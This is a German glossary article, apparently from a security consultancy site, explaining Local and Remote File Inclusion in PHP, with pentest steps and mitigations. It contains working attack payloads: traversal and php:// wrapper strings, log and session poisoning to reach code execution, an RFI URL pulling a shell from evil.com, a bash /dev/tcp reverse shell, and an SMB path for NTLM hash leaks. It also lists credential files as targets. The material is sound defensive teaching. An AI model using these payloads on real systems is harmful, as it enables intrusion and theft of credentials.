Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossar

LFI/RFI - Local File Inclusion und Remote File Inclusion

File-Inclusion-Schwachstellen entstehen wenn Webanwendungen Dateinamen aus Benutzereingaben in Datei-Lade-Funktionen verwenden ohne ausreichende Validierung. LFI (Local File Inclusion) liest lokale Serverdateien wie /etc/passwd oder Logfiles. RFI (Remote File Inclusion) bindet externe URLs ein und ermöglicht so Remote Code Execution. Hauptvektoren in PHP-Anwendungen. Schutz: Input-Validierung, allow_url_include=Off, basename() Normalisierung.

File Inclusion ist eine Schwachstellenklasse die fast ausschließlich in PHP-Anwendungen auftritt, wenn Dateinamen aus Nutzereingaben in include(), require(), include_once() oder require_once() verwendet werden. LFI (Local File Inclusion) liest lokale Dateien; RFI (Remote File Inclusion) lädt und führt externe URLs aus - beides kann bis zu vollständiger Systemkompromittierung führen.

Das Grundprinzip

Anfälliger PHP-Code (klassisch):

<?php
$page = $_GET['page'];
include($page . '.php');
// URL: https://site.com/?page=contact
// → include('contact.php')  - normal
// URL: https://site.com/?page=/etc/passwd
// → include('/etc/passwd.php')  - Fehler (Endung fehlt)
// URL: https://site.com/?page=/etc/passwd%00
// → include('/etc/passwd')  - Nullbyte-Truncation (PHP < 5.3.4!)

// Noch gefährlicher (ohne Endung):
$page = $_GET['page'];
include($page);
// Kein automatisches .php anhängen
// → jede Datei auf dem Server einlesbar!

Typische anfällige Parameter-Namen: ?page=, ?file=, ?lang=, ?include=, ?template=, ?module=, ?view=, ?content=, ?path=, ?doc=

LFI - Local File Inclusion

Ziel-Dateien auf Linux/Unix

  • /etc/passwd - Benutzerliste (kein Passwort, nur System-User)
  • /etc/shadow - Passwort-Hashes (root-Rechte nötig, seltener lesbar)
  • /etc/hosts - Netzwerkkonfiguration
  • /proc/self/environ - Umgebungsvariablen (inkl. Secrets!)
  • /proc/self/cmdline - Startkommando des Prozesses
  • /var/log/apache2/access.log - Apache-Logs (für Log-Poisoning!)
  • /var/log/nginx/error.log
  • ~/.ssh/id_rsa - SSH Private Key
  • ~/.aws/credentials - AWS Access Keys
  • /var/www/html/config.php - Datenbank-Passwörter

Ziel-Dateien auf Windows

  • C:\Windows\System32\drivers\etc\hosts
  • C:\xampp\htdocs\config.php
  • C:\inetpub\wwwroot\web.config

Path-Traversal-Kombination mit LFI

?page=../../etc/passwd
?page=....//....//etc/passwd  (Bypass-Technik)
?page=%2e%2e%2fetc%2fpasswd  (URL-encoding)

PHP-Wrapper (mächtige LFI-Erweiterung)

# Datei als Base64 lesen (nicht-executable, umgeht Sandbox!):
?page=php://filter/convert.base64-encode/resource=config.php
# Response: PD9waHAgJHBhc3N3b3...  (Base64 von config.php!)
# Decode: echo "PD9w..." | base64 -d → Klartext-PHP mit DB-Credentials

# Input-Wrapper:
?page=php://input
# POST-Body: <?php system('id'); ?>
# → Remote Code Execution via LFI!

# Data-Wrapper:
?page=data://text/plain;base64,PHBocCBzeXN0ZW0oJ2lkJyk7ID8+
# → RCE wenn allow_url_include = On!

Log Poisoning - LFI zu RCE

Schritt 1 - PHP-Code in Logs injizieren

GET /<?php system($_GET['cmd']); ?> HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

Nginx/Apache loggt diesen Request in die access.log.

Schritt 2 - Log via LFI einbinden

?page=/var/log/nginx/access.log&cmd=id

PHP liest die access.log ein, interpretiert den eingebetteten Code und führt system('id') aus → uid=33(www-data) → Remote Code Execution.

Andere Log-Dateien für Log-Poisoning

  • /var/log/auth.log - SSH-Login-Versuche → PHP im Username injizieren
  • /proc/self/fd/0 - STDIN des Prozesses
  • /tmp/sess_SESSIONID - PHP Session-Dateien

Session-Poisoning

Cookie: PHPSESSID=abc123
→ Session-Datei: /tmp/sess_abc123
→ Session-Inhalt: username|s:7:"<?php system('id');?>";
→ ?page=/tmp/sess_abc123 → RCE!

RFI - Remote File Inclusion

RFI setzt allow_url_include = On in der php.ini voraus (Standard seit PHP 5: Off).

Angriff

# 1. Angreifer hostet PHP-Backdoor:
# http://evil.com/shell.txt enthält:
# <?php system($_GET['cmd']); ?>

# 2. RFI ausnutzen:
# https://target.com/?page=http://evil.com/shell.txt&cmd=id
# → PHP lädt evil.com/shell.txt
# → Führt Code aus: system('id')
# → Output: uid=33(www-data) gid=33(www-data)

# 3. Reverse Shell via RFI:
# evil.com/shell.txt: <?php system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'); ?>
# → Angreifer erhält interaktive Shell!

SMB/UNC-Pfade (Windows)

?page=\\evil.com\share\shell.php
→ Windows macht SMB-Request → NTLM-Hash-Leak!

Erkennung im Pentest

LFI/RFI-Testing-Methodik

1. Parameter-Discovery

Alle GET/POST-Parameter identifizieren; suchen nach: page=, file=, lang=, include=, template=, view=. Burp Suite Spider + Parameter-Analyse.

2. LFI-Basis-Tests

# Linux-Standard:
?page=/etc/passwd
?page=../../etc/passwd
?page=/etc/passwd%00  (für PHP < 5.3.4)

# PHP-Wrapper:
?page=php://filter/convert.base64-encode/resource=index.php
# Bei Base64-Response: LFI bestätigt!

3. Automatisiert mit LFISuite/LFImap

python lfisuite.py
# Automatische Tests: Path-Traversal, Wrappers, Log-Poisoning

4. Wazuh/OWASP ZAP

Active Scan → File Inclusion → Automatische Tests

5. RFI-Test

# Test mit externem HTTPS-Request:
?page=http://burpcollaborator.net/
# In Burp Collaborator: DNS-Anfrage → RFI möglich!

6. Bestätigung von RCE (nur bei explizitem Scope!)

?page=php://input  # POST mit: <?php phpinfo(); ?>
# phpinfo()-Ausgabe → RCE bestätigt

Schutzmaßnahmen

1. Whitelist-basierter Include (beste Methode)

// FALSCH:
include($_GET['page'] . '.php');

// RICHTIG - Whitelist!
$allowed_pages = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages)) {
  $page = 'home';  // sicherer Default
}
include($page . '.php');
// Kein User-Input direkt in include()!

2. Wenn dynamisches Include unvermeidbar

// basename() entfernt Path-Traversal:
$page = basename($_GET['page']);
// Aus "../../etc/passwd" wird "passwd"

// realpath() + startsWith-Check:
$allowed_dir = '/var/www/html/pages/';
$page = realpath($allowed_dir . basename($_GET['page']) . '.php');
if (!str_starts_with($page, $allowed_dir)) {
  die('Invalid page');
}
include($page);

3. PHP-Konfiguration härten

; php.ini:
allow_url_include = Off   ; KRITISCH! verhindert RFI
allow_url_fopen = Off     ; wenn nicht benötigt
open_basedir = /var/www/html:/tmp  ; Dateisystem-Jail

4. Logs schützen (gegen Log-Poisoning)

  • Logs außerhalb des Web-Root ablegen
  • PHP kann Logs nicht lesen (open_basedir)
  • Strukturiertes Logging einsetzen (kein roher User-Input in Logs)

5. Template-Engine nutzen statt include()

  • Twig, Blade, Smarty: kein PHP-Execution in Templates
  • Templates außerhalb des Zugriffs von User-Input halten

6. ModSecurity WAF-Regeln

  • OWASP CRS: LFI/RFI-Signaturen
  • Blockiert bekannte Path-Traversal-Sequences
  • Ergänzt Code-Fixes, ersetzt sie nicht

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung